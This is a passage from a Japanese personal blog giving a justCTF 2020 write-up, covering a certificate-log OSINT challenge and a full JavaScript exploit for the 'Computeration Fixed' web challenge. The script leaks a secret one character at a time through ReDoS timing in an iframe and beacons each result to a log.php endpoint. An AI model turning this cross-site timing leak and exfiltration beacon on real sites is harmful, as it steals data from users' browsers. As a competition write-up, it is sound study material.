st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

justCTF [*] 2020 writeup

1/30 - 2/1という日程で開催された。zer0ptsで参加して5位。Web問がとても面白かった

[Web, Misc] Forgotten name

実質OSINT、https://crt.sh/?q=jctf.pro6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro というサブドメインが見つかる。

[Web] Computeration Fixed

s1r1usさんがReDoSでフラグを少しずつ得られることを見つけていたので、雑に以下のようなスクリプトを書いた。これにアクセスさせると /log.php?23,a /log.php?19,b /log.php?26,c … という感じでアクセスログが流れていくが、_ に到達するまでにどこかで止まるはず。/log.php?17,s で止まったなら s が正解。

<body>
<script>
const f = async cand => {
  return new Promise(r => {
    const i = document.createElement('iframe');
    const t = new Date;
    i.src = 'https://computeration-fixed.web.jctf.pro/';
    i.onload = () => {
      //i.src = 'https://computeration-fixed.web.jctf.pro/#justCTF[{]' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      i.src = 'https://computeration-fixed.web.jctf.pro/#ju' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      r(new Date - t);
    };
    document.body.appendChild(i);
  });
};

(async () => {
  const known = '';
  for (const c of 'abcdefghijklmnopqrstuvwxyz_@') {
    const t = await f(known + c);
    (new Image).src = 'log.php?' + [t, known + c];
  }
})();
</script>
</body>